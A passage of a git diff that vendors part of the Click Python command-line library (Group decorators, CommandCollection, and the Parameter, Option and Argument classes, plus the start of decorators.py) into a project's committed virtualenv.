raise TypeError("Command has no name.") + _check_multicommand(self, name, cmd, register=True) + self.commands[name] = cmd + + @t.overload + def command(self, __func: t.Callable[..., t.Any]) -> Command: + ... + + @t.overload + def command( + self, *args: t.Any, **kwargs: t.Any + ) -> t.Callable[[t.Callable[..., t.Any]], Command]: + ... + + def command( + self, *args: t.Any, **kwargs: t.Any + ) -> t.Union[t.Callable[[t.Callable[..., t.Any]], Command], Command]: + """A shortcut decorator for declaring and attaching a command to + the group. This takes the same arguments as :func:`command` and + immediately registers the created command with this group by + calling :meth:`add_command`. + + To customize the command class used, set the + :attr:`command_class` attribute. + + .. versionchanged:: 8.1 + This decorator can be applied without parentheses. + + .. versionchanged:: 8.0 + Added the :attr:`command_class` attribute. + """ + from .decorators import command + + if self.command_class and kwargs.get("cls") is None: + kwargs["cls"] = self.command_class + + func: t.Optional[t.Callable] = None + + if args and callable(args[0]): + assert ( + len(args) == 1 and not kwargs + ), "Use 'command(**kwargs)(callable)' to provide arguments." + (func,) = args + args = () + + def decorator(f: t.Callable[..., t.Any]) -> Command: + cmd: Command = command(*args, **kwargs)(f) + self.add_command(cmd) + return cmd + + if func is not None: + return decorator(func) + + return decorator + + @t.overload + def group(self, __func: t.Callable[..., t.Any]) -> "Group": + ... + + @t.overload + def group( + self, *args: t.Any, **kwargs: t.Any + ) -> t.Callable[[t.Callable[..., t.Any]], "Group"]: + ... + + def group( + self, *args: t.Any, **kwargs: t.Any + ) -> t.Union[t.Callable[[t.Callable[..., t.Any]], "Group"], "Group"]: + """A shortcut decorator for declaring and attaching a group to + the group. This takes the same arguments as :func:`group` and + immediately registers the created group with this group by + calling :meth:`add_command`. + + To customize the group class used, set the :attr:`group_class` + attribute. + + .. versionchanged:: 8.1 + This decorator can be applied without parentheses. + + .. versionchanged:: 8.0 + Added the :attr:`group_class` attribute. + """ + from .decorators import group + + func: t.Optional[t.Callable] = None + + if args and callable(args[0]): + assert ( + len(args) == 1 and not kwargs + ), "Use 'group(**kwargs)(callable)' to provide arguments." + (func,) = args + args = () + + if self.group_class is not None and kwargs.get("cls") is None: + if self.group_class is type: + kwargs["cls"] = type(self) + else: + kwargs["cls"] = self.group_class + + def decorator(f: t.Callable[..., t.Any]) -> "Group": + cmd: Group = group(*args, **kwargs)(f) + self.add_command(cmd) + return cmd + + if func is not None: + return decorator(func) + + return decorator + + def get_command(self, ctx: Context, cmd_name: str) -> t.Optional[Command]: + return self.commands.get(cmd_name) + + def list_commands(self, ctx: Context) -> t.List[str]: + return sorted(self.commands) + + +class CommandCollection(MultiCommand): + """A command collection is a multi command that merges multiple multi + commands together into one. This is a straightforward implementation + that accepts a list of different multi commands as sources and + provides all the commands for each of them. + """ + + def __init__( + self, + name: t.Optional[str] = None, + sources: t.Optional[t.List[MultiCommand]] = None, + **attrs: t.Any, + ) -> None: + super().__init__(name, **attrs) + #: The list of registered multi commands. + self.sources: t.List[MultiCommand] = sources or [] + + def add_source(self, multi_cmd: MultiCommand) -> None: + """Adds a new multi command to the chain dispatcher.""" + self.sources.append(multi_cmd) + + def get_command(self, ctx: Context, cmd_name: str) -> t.Optional[Command]: + for source in self.sources: + rv = source.get_command(ctx, cmd_name) + + if rv is not None: + if self.chain: + _check_multicommand(self, cmd_name, rv) + + return rv + + return None + + def list_commands(self, ctx: Context) -> t.List[str]: + rv: t.Set[str] = set() + + for source in self.sources: + rv.update(source.list_commands(ctx)) + + return sorted(rv) + + +def _check_iter(value: t.Any) -> t.Iterator[t.Any]: + """Check if the value is iterable but not a string. Raises a type + error, or return an iterator over the value. + """ + if isinstance(value, str): + raise TypeError + + return iter(value) + + +class Parameter: + r"""A parameter to a command comes in two versions: they are either + :class:`Option`\s or :class:`Argument`\s. Other subclasses are currently + not supported by design as some of the internals for parsing are + intentionally not finalized. + + Some settings are supported by both options and arguments. + + :param param_decls: the parameter declarations for this option or + argument. This is a list of flags or argument + names. + :param type: the type that should be used. Either a :class:`ParamType` + or a Python type. The later is converted into the former + automatically if supported. + :param required: controls if this is optional or not. + :param default: the default value if omitted. This can also be a callable, + in which case it's invoked when the default is needed + without any arguments. + :param callback: A function to further process or validate the value + after type conversion. It is called as ``f(ctx, param, value)`` + and must return the value. It is called for all sources, + including prompts. + :param nargs: the number of arguments to match. If not ``1`` the return + value is a tuple instead of single value. The default for + nargs is ``1`` (except if the type is a tuple, then it's + the arity of the tuple). If ``nargs=-1``, all remaining + parameters are collected. + :param metavar: how the value is represented in the help page. + :param expose_value: if this is `True` then the value is passed onwards + to the command callback and stored on the context, + otherwise it's skipped. + :param is_eager: eager values are processed before non eager ones. This + should not be set for arguments or it will inverse the + order of processing. + :param envvar: a string or list of strings that are environment variables + that should be checked. + :param shell_complete: A function that returns custom shell + completions. Used instead of the param's type completion if + given. Takes ``ctx, param, incomplete`` and must return a list + of :class:`~click.shell_completion.CompletionItem` or a list of + strings. + + .. versionchanged:: 8.0 + ``process_value`` validates required parameters and bounded + ``nargs``, and invokes the parameter callback before returning + the value. This allows the callback to validate prompts. + ``full_process_value`` is removed. + + .. versionchanged:: 8.0 + ``autocompletion`` is renamed to ``shell_complete`` and has new + semantics described above. The old name is deprecated and will + be removed in 8.1, until then it will be wrapped to match the + new requirements. + + .. versionchanged:: 8.0 + For ``multiple=True, nargs>1``, the default must be a list of + tuples. + + .. versionchanged:: 8.0 + Setting a default is no longer required for ``nargs>1``, it will + default to ``None``. ``multiple=True`` or ``nargs=-1`` will + default to ``()``. + + .. versionchanged:: 7.1 + Empty environment variables are ignored rather than taking the + empty string value. This makes it possible for scripts to clear + variables if they can't unset them. + + .. versionchanged:: 2.0 + Changed signature for parameter callback to also be passed the + parameter. The old callback format will still work, but it will + raise a warning to give you a chance to migrate the code easier. + """ + + param_type_name = "parameter" + + def __init__( + self, + param_decls: t.Optional[t.Sequence[str]] = None, + type: t.Optional[t.Union[types.ParamType, t.Any]] = None, + required: bool = False, + default: t.Optional[t.Union[t.Any, t.Callable[[], t.Any]]] = None, + callback: t.Optional[t.Callable[[Context, "Parameter", t.Any], t.Any]] = None, + nargs: t.Optional[int] = None, + multiple: bool = False, + metavar: t.Optional[str] = None, + expose_value: bool = True, + is_eager: bool = False, + envvar: t.Optional[t.Union[str, t.Sequence[str]]] = None, + shell_complete: t.Optional[ + t.Callable[ + [Context, "Parameter", str], + t.Union[t.List["CompletionItem"], t.List[str]], + ] + ] = None, + ) -> None: + self.name, self.opts, self.secondary_opts = self._parse_decls( + param_decls or (), expose_value + ) + self.type = types.convert_type(type, default) + + # Default nargs to what the type tells us if we have that + # information available. + if nargs is None: + if self.type.is_composite: + nargs = self.type.arity + else: + nargs = 1 + + self.required = required + self.callback = callback + self.nargs = nargs + self.multiple = multiple + self.expose_value = expose_value + self.default = default + self.is_eager = is_eager + self.metavar = metavar + self.envvar = envvar + self._custom_shell_complete = shell_complete + + if __debug__: + if self.type.is_composite and nargs != self.type.arity: + raise ValueError( + f"'nargs' must be {self.type.arity} (or None) for" + f" type {self.type!r}, but it was {nargs}." + ) + + # Skip no default or callable default. + check_default = default if not callable(default) else None + + if check_default is not None: + if multiple: + try: + # Only check the first value against nargs. + check_default = next(_check_iter(check_default), None) + except TypeError: + raise ValueError( + "'default' must be a list when 'multiple' is true." + ) from None + + # Can be None for multiple with empty default. + if nargs != 1 and check_default is not None: + try: + _check_iter(check_default) + except TypeError: + if multiple: + message = ( + "'default' must be a list of lists when 'multiple' is" + " true and 'nargs' != 1." + ) + else: + message = "'default' must be a list when 'nargs' != 1." + + raise ValueError(message) from None + + if nargs > 1 and len(check_default) != nargs: + subject = "item length" if multiple else "length" + raise ValueError( + f"'default' {subject} must match nargs={nargs}." + ) + + def to_info_dict(self) -> t.Dict[str, t.Any]: + """Gather information that could be useful for a tool generating + user-facing documentation. + + Use :meth:`click.Context.to_info_dict` to traverse the entire + CLI structure. + + .. versionadded:: 8.0 + """ + return { + "name": self.name, + "param_type_name": self.param_type_name, + "opts": self.opts, + "secondary_opts": self.secondary_opts, + "type": self.type.to_info_dict(), + "required": self.required, + "nargs": self.nargs, + "multiple": self.multiple, + "default": self.default, + "envvar": self.envvar, + } + + def __repr__(self) -> str: + return f"<{self.__class__.__name__} {self.name}>" + + def _parse_decls( + self, decls: t.Sequence[str], expose_value: bool + ) -> t.Tuple[t.Optional[str], t.List[str], t.List[str]]: + raise NotImplementedError() + + @property + def human_readable_name(self) -> str: + """Returns the human readable name of this parameter. This is the + same as the name for options, but the metavar for arguments. + """ + return self.name # type: ignore + + def make_metavar(self) -> str: + if self.metavar is not None: + return self.metavar + + metavar = self.type.get_metavar(self) + + if metavar is None: + metavar = self.type.name.upper() + + if self.nargs != 1: + metavar += "..." + + return metavar + + @t.overload + def get_default( + self, ctx: Context, call: "te.Literal[True]" = True + ) -> t.Optional[t.Any]: + ... + + @t.overload + def get_default( + self, ctx: Context, call: bool = ... + ) -> t.Optional[t.Union[t.Any, t.Callable[[], t.Any]]]: + ... + + def get_default( + self, ctx: Context, call: bool = True + ) -> t.Optional[t.Union[t.Any, t.Callable[[], t.Any]]]: + """Get the default for the parameter. Tries + :meth:`Context.lookup_default` first, then the local default. + + :param ctx: Current context. + :param call: If the default is a callable, call it. Disable to + return the callable instead. + + .. versionchanged:: 8.0.2 + Type casting is no longer performed when getting a default. + + .. versionchanged:: 8.0.1 + Type casting can fail in resilient parsing mode. Invalid + defaults will not prevent showing help text. + + .. versionchanged:: 8.0 + Looks at ``ctx.default_map`` first. + + .. versionchanged:: 8.0 + Added the ``call`` parameter. + """ + value = ctx.lookup_default(self.name, call=False) # type: ignore + + if value is None: + value = self.default + + if call and callable(value): + value = value() + + return value + + def add_to_parser(self, parser: OptionParser, ctx: Context) -> None: + raise NotImplementedError() + + def consume_value( + self, ctx: Context, opts: t.Mapping[str, t.Any] + ) -> t.Tuple[t.Any, ParameterSource]: + value = opts.get(self.name) # type: ignore + source = ParameterSource.COMMANDLINE + + if value is None: + value = self.value_from_envvar(ctx) + source = ParameterSource.ENVIRONMENT + + if value is None: + value = ctx.lookup_default(self.name) # type: ignore + source = ParameterSource.DEFAULT_MAP + + if value is None: + value = self.get_default(ctx) + source = ParameterSource.DEFAULT + + return value, source + + def type_cast_value(self, ctx: Context, value: t.Any) -> t.Any: + """Convert and validate a value against the option's + :attr:`type`, :attr:`multiple`, and :attr:`nargs`. + """ + if value is None: + return () if self.multiple or self.nargs == -1 else None + + def check_iter(value: t.Any) -> t.Iterator: + try: + return _check_iter(value) + except TypeError: + # This should only happen when passing in args manually, + # the parser should construct an iterable when parsing + # the command line. + raise BadParameter( + _("Value must be an iterable."), ctx=ctx, param=self + ) from None + + if self.nargs == 1 or self.type.is_composite: + convert: t.Callable[[t.Any], t.Any] = partial( + self.type, param=self, ctx=ctx + ) + elif self.nargs == -1: + + def convert(value: t.Any) -> t.Tuple: + return tuple(self.type(x, self, ctx) for x in check_iter(value)) + + else: # nargs > 1 + + def convert(value: t.Any) -> t.Tuple: + value = tuple(check_iter(value)) + + if len(value) != self.nargs: + raise BadParameter( + ngettext( + "Takes {nargs} values but 1 was given.", + "Takes {nargs} values but {len} were given.", + len(value), + ).format(nargs=self.nargs, len=len(value)), + ctx=ctx, + param=self, + ) + + return tuple(self.type(x, self, ctx) for x in value) + + if self.multiple: + return tuple(convert(x) for x in check_iter(value)) + + return convert(value) + + def value_is_missing(self, value: t.Any) -> bool: + if value is None: + return True + + if (self.nargs != 1 or self.multiple) and value == (): + return True + + return False + + def process_value(self, ctx: Context, value: t.Any) -> t.Any: + value = self.type_cast_value(ctx, value) + + if self.required and self.value_is_missing(value): + raise MissingParameter(ctx=ctx, param=self) + + if self.callback is not None: + value = self.callback(ctx, self, value) + + return value + + def resolve_envvar_value(self, ctx: Context) -> t.Optional[str]: + if self.envvar is None: + return None + + if isinstance(self.envvar, str): + rv = os.environ.get(self.envvar) + + if rv: + return rv + else: + for envvar in self.envvar: + rv = os.environ.get(envvar) + + if rv: + return rv + + return None + + def value_from_envvar(self, ctx: Context) -> t.Optional[t.Any]: + rv: t.Optional[t.Any] = self.resolve_envvar_value(ctx) + + if rv is not None and self.nargs != 1: + rv = self.type.split_envvar_value(rv) + + return rv + + def handle_parse_result( + self, ctx: Context, opts: t.Mapping[str, t.Any], args: t.List[str] + ) -> t.Tuple[t.Any, t.List[str]]: + with augment_usage_errors(ctx, param=self): + value, source = self.consume_value(ctx, opts) + ctx.set_parameter_source(self.name, source) # type: ignore + + try: + value = self.process_value(ctx, value) + except Exception: + if not ctx.resilient_parsing: + raise + + value = None + + if self.expose_value: + ctx.params[self.name] = value # type: ignore + + return value, args + + def get_help_record(self, ctx: Context) -> t.Optional[t.Tuple[str, str]]: + pass + + def get_usage_pieces(self, ctx: Context) -> t.List[str]: + return [] + + def get_error_hint(self, ctx: Context) -> str: + """Get a stringified version of the param for use in error messages to + indicate which param caused the error. + """ + hint_list = self.opts or [self.human_readable_name] + return " / ".join(f"'{x}'" for x in hint_list) + + def shell_complete(self, ctx: Context, incomplete: str) -> t.List["CompletionItem"]: + """Return a list of completions for the incomplete value. If a + ``shell_complete`` function was given during init, it is used. + Otherwise, the :attr:`type` + :meth:`~click.types.ParamType.shell_complete` function is used. + + :param ctx: Invocation context for this command. + :param incomplete: Value being completed. May be empty. + + .. versionadded:: 8.0 + """ + if self._custom_shell_complete is not None: + results = self._custom_shell_complete(ctx, self, incomplete) + + if results and isinstance(results[0], str): + from click.shell_completion import CompletionItem + + results = [CompletionItem(c) for c in results] + + return t.cast(t.List["CompletionItem"], results) + + return self.type.shell_complete(ctx, self, incomplete) + + +class Option(Parameter): + """Options are usually optional values on the command line and + have some extra features that arguments don't have. + + All other parameters are passed onwards to the parameter constructor. + + :param show_default: Show the default value for this option in its + help text. Values are not shown by default, unless + :attr:`Context.show_default` is ``True``. If this value is a + string, it shows that string in parentheses instead of the + actual value. This is particularly useful for dynamic options. + For single option boolean flags, the default remains hidden if + its value is ``False``. + :param show_envvar: Controls if an environment variable should be + shown on the help page. Normally, environment variables are not + shown. + :param prompt: If set to ``True`` or a non empty string then the + user will be prompted for input. If set to ``True`` the prompt + will be the option name capitalized. + :param confirmation_prompt: Prompt a second time to confirm the + value if it was prompted for. Can be set to a string instead of + ``True`` to customize the message. + :param prompt_required: If set to ``False``, the user will be + prompted for input only when the option was specified as a flag + without a value. + :param hide_input: If this is ``True`` then the input on the prompt + will be hidden from the user. This is useful for password input. + :param is_flag: forces this option to act as a flag. The default is + auto detection. + :param flag_value: which value should be used for this flag if it's + enabled. This is set to a boolean automatically if + the option string contains a slash to mark two options. + :param multiple: if this is set to `True` then the argument is accepted + multiple times and recorded. This is similar to ``nargs`` + in how it works but supports arbitrary number of + arguments. + :param count: this flag makes an option increment an integer. + :param allow_from_autoenv: if this is enabled then the value of this + parameter will be pulled from an environment + variable in case a prefix is defined on the + context. + :param help: the help string. + :param hidden: hide this option from help outputs. + + .. versionchanged:: 8.1.0 + Help text indentation is cleaned here instead of only in the + ``@option`` decorator. + + .. versionchanged:: 8.1.0 + The ``show_default`` parameter overrides + ``Context.show_default``. + + .. versionchanged:: 8.1.0 + The default of a single option boolean flag is not shown if the + default value is ``False``. + + .. versionchanged:: 8.0.1 + ``type`` is detected from ``flag_value`` if given. + """ + + param_type_name = "option" + + def __init__( + self, + param_decls: t.Optional[t.Sequence[str]] = None, + show_default: t.Union[bool, str, None] = None, + prompt: t.Union[bool, str] = False, + confirmation_prompt: t.Union[bool, str] = False, + prompt_required: bool = True, + hide_input: bool = False, + is_flag: t.Optional[bool] = None, + flag_value: t.Optional[t.Any] = None, + multiple: bool = False, + count: bool = False, + allow_from_autoenv: bool = True, + type: t.Optional[t.Union[types.ParamType, t.Any]] = None, + help: t.Optional[str] = None, + hidden: bool = False, + show_choices: bool = True, + show_envvar: bool = False, + **attrs: t.Any, + ) -> None: + if help: + help = inspect.cleandoc(help) + + default_is_missing = "default" not in attrs + super().__init__(param_decls, type=type, multiple=multiple, **attrs) + + if prompt is True: + if self.name is None: + raise TypeError("'name' is required with 'prompt=True'.") + + prompt_text: t.Optional[str] = self.name.replace("_", " ").capitalize() + elif prompt is False: + prompt_text = None + else: + prompt_text = prompt + + self.prompt = prompt_text + self.confirmation_prompt = confirmation_prompt + self.prompt_required = prompt_required + self.hide_input = hide_input + self.hidden = hidden + + # If prompt is enabled but not required, then the option can be + # used as a flag to indicate using prompt or flag_value. + self._flag_needs_value = self.prompt is not None and not self.prompt_required + + if is_flag is None: + if flag_value is not None: + # Implicitly a flag because flag_value was set. + is_flag = True + elif self._flag_needs_value: + # Not a flag, but when used as a flag it shows a prompt. + is_flag = False + else: + # Implicitly a flag because flag options were given. + is_flag = bool(self.secondary_opts) + elif is_flag is False and not self._flag_needs_value: + # Not a flag, and prompt is not enabled, can be used as a + # flag if flag_value is set. + self._flag_needs_value = flag_value is not None + + if is_flag and default_is_missing and not self.required: + self.default: t.Union[t.Any, t.Callable[[], t.Any]] = False + + if flag_value is None: + flag_value = not self.default + + if is_flag and type is None: + # Re-guess the type from the flag value instead of the + # default. + self.type = types.convert_type(None, flag_value) + + self.is_flag: bool = is_flag + self.is_bool_flag = is_flag and isinstance(self.type, types.BoolParamType) + self.flag_value: t.Any = flag_value + + # Counting + self.count = count + if count: + if type is None: + self.type = types.IntRange(min=0) + if default_is_missing: + self.default = 0 + + self.allow_from_autoenv = allow_from_autoenv + self.help = help + self.show_default = show_default + self.show_choices = show_choices + self.show_envvar = show_envvar + + if __debug__: + if self.nargs == -1: + raise TypeError("nargs=-1 is not supported for options.") + + if self.prompt and self.is_flag and not self.is_bool_flag: + raise TypeError("'prompt' is not valid for non-boolean flag.") + + if not self.is_bool_flag and self.secondary_opts: + raise TypeError("Secondary flag is not valid for non-boolean flag.") + + if self.is_bool_flag and self.hide_input and self.prompt is not None: + raise TypeError( + "'prompt' with 'hide_input' is not valid for boolean flag." + ) + + if self.count: + if self.multiple: + raise TypeError("'count' is not valid with 'multiple'.") + + if self.is_flag: + raise TypeError("'count' is not valid with 'is_flag'.") + + if self.multiple and self.is_flag: + raise TypeError("'multiple' is not valid with 'is_flag', use 'count'.") + + def to_info_dict(self) -> t.Dict[str, t.Any]: + info_dict = super().to_info_dict() + info_dict.update( + help=self.help, + prompt=self.prompt, + is_flag=self.is_flag, + flag_value=self.flag_value, + count=self.count, + hidden=self.hidden, + ) + return info_dict + + def _parse_decls( + self, decls: t.Sequence[str], expose_value: bool + ) -> t.Tuple[t.Optional[str], t.List[str], t.List[str]]: + opts = [] + secondary_opts = [] + name = None + possible_names = [] + + for decl in decls: + if decl.isidentifier(): + if name is not None: + raise TypeError(f"Name '{name}' defined twice") + name = decl + else: + split_char = ";" if decl[:1] == "/" else "/" + if split_char in decl: + first, second = decl.split(split_char, 1) + first = first.rstrip() + if first: + possible_names.append(split_opt(first)) + opts.append(first) + second = second.lstrip() + if second: + secondary_opts.append(second.lstrip()) + if first == second: + raise ValueError( + f"Boolean option {decl!r} cannot use the" + " same flag for true/false." + ) + else: + possible_names.append(split_opt(decl)) + opts.append(decl) + + if name is None and possible_names: + possible_names.sort(key=lambda x: -len(x[0])) # group long options first + name = possible_names[0][1].replace("-", "_").lower() + if not name.isidentifier(): + name = None + + if name is None: + if not expose_value: + return None, opts, secondary_opts + raise TypeError("Could not determine name for option") + + if not opts and not secondary_opts: + raise TypeError( + f"No options defined but a name was passed ({name})." + " Did you mean to declare an argument instead? Did" + f" you mean to pass '--{name}'?" + ) + + return name, opts, secondary_opts + + def add_to_parser(self, parser: OptionParser, ctx: Context) -> None: + if self.multiple: + action = "append" + elif self.count: + action = "count" + else: + action = "store" + + if self.is_flag: + action = f"{action}_const" + + if self.is_bool_flag and self.secondary_opts: + parser.add_option( + obj=self, opts=self.opts, dest=self.name, action=action, const=True + ) + parser.add_option( + obj=self, + opts=self.secondary_opts, + dest=self.name, + action=action, + const=False, + ) + else: + parser.add_option( + obj=self, + opts=self.opts, + dest=self.name, + action=action, + const=self.flag_value, + ) + else: + parser.add_option( + obj=self, + opts=self.opts, + dest=self.name, + action=action, + nargs=self.nargs, + ) + + def get_help_record(self, ctx: Context) -> t.Optional[t.Tuple[str, str]]: + if self.hidden: + return None + + any_prefix_is_slash = False + + def _write_opts(opts: t.Sequence[str]) -> str: + nonlocal any_prefix_is_slash + + rv, any_slashes = join_options(opts) + + if any_slashes: + any_prefix_is_slash = True + + if not self.is_flag and not self.count: + rv += f" {self.make_metavar()}" + + return rv + + rv = [_write_opts(self.opts)] + + if self.secondary_opts: + rv.append(_write_opts(self.secondary_opts)) + + help = self.help or "" + extra = [] + + if self.show_envvar: + envvar = self.envvar + + if envvar is None: + if ( + self.allow_from_autoenv + and ctx.auto_envvar_prefix is not None + and self.name is not None + ): + envvar = f"{ctx.auto_envvar_prefix}_{self.name.upper()}" + + if envvar is not None: + var_str = ( + envvar + if isinstance(envvar, str) + else ", ".join(str(d) for d in envvar) + ) + extra.append(_("env var: {var}").format(var=var_str)) + + # Temporarily enable resilient parsing to avoid type casting + # failing for the default. Might be possible to extend this to + # help formatting in general. + resilient = ctx.resilient_parsing + ctx.resilient_parsing = True + + try: + default_value = self.get_default(ctx, call=False) + finally: + ctx.resilient_parsing = resilient + + show_default = False + show_default_is_str = False + + if self.show_default is not None: + if isinstance(self.show_default, str): + show_default_is_str = show_default = True + else: + show_default = self.show_default + elif ctx.show_default is not None: + show_default = ctx.show_default + + if show_default_is_str or (show_default and (default_value is not None)): + if show_default_is_str: + default_string = f"({self.show_default})" + elif isinstance(default_value, (list, tuple)): + default_string = ", ".join(str(d) for d in default_value) + elif inspect.isfunction(default_value): + default_string = _("(dynamic)") + elif self.is_bool_flag and self.secondary_opts: + # For boolean flags that have distinct True/False opts, + # use the opt without prefix instead of the value. + default_string = split_opt( + (self.opts if self.default else self.secondary_opts)[0] + )[1] + elif self.is_bool_flag and not self.secondary_opts and not default_value: + default_string = "" + else: + default_string = str(default_value) + + if default_string: + extra.append(_("default: {default}").format(default=default_string)) + + if ( + isinstance(self.type, types._NumberRangeBase) + # skip count with default range type + and not (self.count and self.type.min == 0 and self.type.max is None) + ): + range_str = self.type._describe_range() + + if range_str: + extra.append(range_str) + + if self.required: + extra.append(_("required")) + + if extra: + extra_str = "; ".join(extra) + help = f"{help} [{extra_str}]" if help else f"[{extra_str}]" + + return ("; " if any_prefix_is_slash else " / ").join(rv), help + + @t.overload + def get_default( + self, ctx: Context, call: "te.Literal[True]" = True + ) -> t.Optional[t.Any]: + ... + + @t.overload + def get_default( + self, ctx: Context, call: bool = ... + ) -> t.Optional[t.Union[t.Any, t.Callable[[], t.Any]]]: + ... + + def get_default( + self, ctx: Context, call: bool = True + ) -> t.Optional[t.Union[t.Any, t.Callable[[], t.Any]]]: + # If we're a non boolean flag our default is more complex because + # we need to look at all flags in the same group to figure out + # if we're the default one in which case we return the flag + # value as default. + if self.is_flag and not self.is_bool_flag: + for param in ctx.command.params: + if param.name == self.name and param.default: + return param.flag_value # type: ignore + + return None + + return super().get_default(ctx, call=call) + + def prompt_for_value(self, ctx: Context) -> t.Any: + """This is an alternative flow that can be activated in the full + value processing if a value does not exist. It will prompt the + user until a valid value exists and then returns the processed + value as result. + """ + assert self.prompt is not None + + # Calculate the default before prompting anything to be stable. + default = self.get_default(ctx) + + # If this is a prompt for a flag we need to handle this + # differently. + if self.is_bool_flag: + return confirm(self.prompt, default) + + return prompt( + self.prompt, + default=default, + type=self.type, + hide_input=self.hide_input, + show_choices=self.show_choices, + confirmation_prompt=self.confirmation_prompt, + value_proc=lambda x: self.process_value(ctx, x), + ) + + def resolve_envvar_value(self, ctx: Context) -> t.Optional[str]: + rv = super().resolve_envvar_value(ctx) + + if rv is not None: + return rv + + if ( + self.allow_from_autoenv + and ctx.auto_envvar_prefix is not None + and self.name is not None + ): + envvar = f"{ctx.auto_envvar_prefix}_{self.name.upper()}" + rv = os.environ.get(envvar) + + if rv: + return rv + + return None + + def value_from_envvar(self, ctx: Context) -> t.Optional[t.Any]: + rv: t.Optional[t.Any] = self.resolve_envvar_value(ctx) + + if rv is None: + return None + + value_depth = (self.nargs != 1) + bool(self.multiple) + + if value_depth > 0: + rv = self.type.split_envvar_value(rv) + + if self.multiple and self.nargs != 1: + rv = batch(rv, self.nargs) + + return rv + + def consume_value( + self, ctx: Context, opts: t.Mapping[str, "Parameter"] + ) -> t.Tuple[t.Any, ParameterSource]: + value, source = super().consume_value(ctx, opts) + + # The parser will emit a sentinel value if the option can be + # given as a flag without a value. This is different from None + # to distinguish from the flag not being given at all. + if value is _flag_needs_value: + if self.prompt is not None and not ctx.resilient_parsing: + value = self.prompt_for_value(ctx) + source = ParameterSource.PROMPT + else: + value = self.flag_value + source = ParameterSource.COMMANDLINE + + elif ( + self.multiple + and value is not None + and any(v is _flag_needs_value for v in value) + ): + value = [self.flag_value if v is _flag_needs_value else v for v in value] + source = ParameterSource.COMMANDLINE + + # The value wasn't set, or used the param's default, prompt if + # prompting is enabled. + elif ( + source in {None, ParameterSource.DEFAULT} + and self.prompt is not None + and (self.required or self.prompt_required) + and not ctx.resilient_parsing + ): + value = self.prompt_for_value(ctx) + source = ParameterSource.PROMPT + + return value, source + + +class Argument(Parameter): + """Arguments are positional parameters to a command. They generally + provide fewer features than options but can have infinite ``nargs`` + and are required by default. + + All parameters are passed onwards to the parameter constructor. + """ + + param_type_name = "argument" + + def __init__( + self, + param_decls: t.Sequence[str], + required: t.Optional[bool] = None, + **attrs: t.Any, + ) -> None: + if required is None: + if attrs.get("default") is not None: + required = False + else: + required = attrs.get("nargs", 1) > 0 + + if "multiple" in attrs: + raise TypeError("__init__() got an unexpected keyword argument 'multiple'.") + + super().__init__(param_decls, required=required, **attrs) + + if __debug__: + if self.default is not None and self.nargs == -1: + raise TypeError("'default' is not supported for nargs=-1.") + + @property + def human_readable_name(self) -> str: + if self.metavar is not None: + return self.metavar + return self.name.upper() # type: ignore + + def make_metavar(self) -> str: + if self.metavar is not None: + return self.metavar + var = self.type.get_metavar(self) + if not var: + var = self.name.upper() # type: ignore + if not self.required: + var = f"[{var}]" + if self.nargs != 1: + var += "..." + return var + + def _parse_decls( + self, decls: t.Sequence[str], expose_value: bool + ) -> t.Tuple[t.Optional[str], t.List[str], t.List[str]]: + if not decls: + if not expose_value: + return None, [], [] + raise TypeError("Could not determine name for argument") + if len(decls) == 1: + name = arg = decls[0] + name = name.replace("-", "_").lower() + else: + raise TypeError( + "Arguments take exactly one parameter declaration, got" + f" {len(decls)}." + ) + return name, [arg], [] + + def get_usage_pieces(self, ctx: Context) -> t.List[str]: + return [self.make_metavar()] + + def get_error_hint(self, ctx: Context) -> str: + return f"'{self.make_metavar()}'" + + def add_to_parser(self, parser: OptionParser, ctx: Context) -> None: + parser.add_argument(dest=self.name, nargs=self.nargs, obj=self) diff --git a/django_lottopy/lib/python3.10/site-packages/click/decorators.py b/django_lottopy/lib/python3.10/site-packages/click/decorators.py new file mode 100644 index 00000000..28618dc5 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click/decorators.py @@ -0,0 +1,497 @@ +import inspect +import types +import typing as t +from functools import update_wrapper +from gettext import gettext as _ + +from .core import Argument +from .core import Command +from .core import Context +from .core import Group +from .core import Option +from .core import Parameter +from .globals import get_current_context +from .utils import echo + +F = t.TypeVar("F", bound=t.Callable[..., t.Any]) +FC = t.TypeVar("FC", bound=t.Union[t.Callable[..., t.Any], Command]) + + +def pass_context(f: F) -> F: + """Marks a callback as wanting to receive the current context + object as first argument. + """ + + def new_func(*args, **kwargs): # type: ignore + return f(get_current_context(), *args, **kwargs) + + return update_wrapper(t.cast(F, new_func), f) + + +def pass_obj(f: F) -> F: + """Similar to :func:`pass_context`, but only pass the object on the + context onwards (:attr:`Context.obj`). This is useful if that object + represents the state of a nested system. + """ + + def new_func(*args, **kwargs): # type: ignore + return f(get_current_context().obj, *args, **kwargs) + + return update_wrapper(t.cast(F, new_func), f) + + +def make_pass_decorator( + object_type: t.Type, ensure: bool = False +) -> "t.Callable[[F], F]": + """Given an object type this creates a decorator that will work + similar to :func:`pass_obj` but instead of passing the object of the + current context, it will find the innermost context of type + :func:`object_type`. + + This generates a decorator that works roughly like this:: + + from functools import update_wrapper + + def decorator(f): + @pass_context + def new_func(ctx, *args, **kwargs): + obj = ctx.find_object(object_type) + return ctx.invoke(f, obj, *args, **kwargs) + return update_wrapper(new_func, f) + return decorator + + :param object_type: the type of the object to pass. + :param ensure: if set to `True`, a new object will be created and + remembered on the context if it's not there yet. + """ + + def decorator(f: F) -> F: + def new_func(*args, **kwargs): # type: ignore + ctx = get_current_context() + + if ensure: + obj = ctx.ensure_object(object_type) + else: + obj = ctx.find_object(object_type) + + if obj is None: + raise RuntimeError( + "Managed to invoke callback without a context" + f" object of type {object_type.__name__!r}" + " existing." + ) + + return ctx.invoke(f, obj, *args, **kwargs) + + return update_wrapper(t.cast(F, new_func), f) + + return decorator + + +def pass_meta_key( + key: str, *, doc_description: t.Optional[str] = None +) -> "t.Callable[[F], F]": + """Create a decorator that passes a key from + :attr:`click.Context.meta` as the first argument to the decorated + function. + + :param key: Key in ``Context.meta`` to pass. + :param doc_description: Description of the object being passed, + inserted into the decorator's docstring. Defaults to "the 'key' + key from Context.meta". + + .. versionadded:: 8.0 + """ + + def decorator(f: F) -> F: + def new_func(*args, **kwargs): # type: ignore + ctx = get_current_context() + obj = ctx.meta[key] + return ctx.invoke(f, obj, *args, **kwargs) + + return update_wrapper(t.cast(F, new_func), f) + + if doc_description is None: + doc_description = f"the {key!r} key from :attr:`click.Context.meta`" + + decorator.__doc__ = ( + f"Decorator that passes {doc_description} as the first argument" + " to the decorated function." + ) + return decorator + + +CmdType = t.TypeVar("CmdType", bound=Command) + + 